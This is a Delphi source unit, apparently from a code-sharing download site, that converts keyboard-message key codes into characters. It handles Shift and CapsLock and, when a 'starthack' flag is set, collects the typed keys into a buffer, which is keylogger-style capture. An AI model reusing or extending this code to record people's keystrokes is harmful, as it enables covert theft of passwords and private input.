KeyScan.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:2k
- unit KeyScan;
- interface
- uses windows,messages,sysutils;
- var
- skey:string;
- lpKBS:TKeyBoardState;
- cslock:integer;
- vshift:integer;
- vskey:array[0..41] of integer=
- ($2c,$3c,$2E,$3E,$2F,$3F,$3B,$3A,
- $27,$22,$5B,$7B,$5D,$7D,$5C,$7C,
- $3D,$2B,$2D,$5F,$30,$29,$39,$28,
- $38,$2A,$37,$26,$36,$5E,$35,$25,
- $34,$24,$33,$23,$32,$40,$31,$21,
- $60,$7E);
- function KeyScaner(vkeys,stats:integer):string;
- implementation
- uses win,proc;
- function KeyScaner(vkeys,stats:integer):string;
- var
- k,d,stat,vkey:integer;
- begin
- //vkey:=MapVirtualKey(vkeys,2);
- vkey:=vkeys;
- stat:=(stats shr 30) and 1;
- //处理Shift键
- if (vkey=$10) then
- begin
- stat:=(stats shr 24) and $ff;
- if stat<>$c0 then stat:=0;
- if stat=0 then vshift:=1
- else vshift:=0;
- // strcopy(sbuf,pchar(format('%x',[stats])));
- // sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- skey:='';
- end;
- //处理CapsLock键
- if GetAsyncKeyState($14)<>0 then
- begin
- if cslock=0 then cslock:=1
- else cslock:=0;
- //strcopy(sbuf,pchar(format('%x,%x',[cslock,k])));
- //sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
- skey:='';
- end;
- //
- if (vkey<>$10) and (vkey<>$11) and (vkey<>$12) then
- if stat=1 then
- begin
- if (vkey>=$41) and (vkey<=$5A) then
- begin
- // if (vshift=0) and (cslock=0) then vkey:=vkey+$20;
- // if (vshift=1) and (cslock=1) then vkey:=vkey+$20;
- if vshift=0 then vkey:=vkey+$20;
- skey:=format('%s',[char(vkey)]);
- end else
- begin
- skey:='';
- for d:=0 to 20 do
- if vkey=vskey[d*2] then
- begin
- if (vshift=1) then vkey:=vskey[d*2+1];
- skey:=format('%s',[char(vkey)]);
- break;
- end;
- end;
- end;
- strcopy(sbuf,pchar(skey));
- if length(skey)>0 then
- sendmessage(hmain,wm_settext,0,integer(@sbuf));
- if (starthack>0) and (stat>0) then
- begin
- if length(skey)>0 then
- strcopy(keybuf,pchar( strpas(keybuf)+skey ));
- end;
- Result:=skey;
- end;
- end.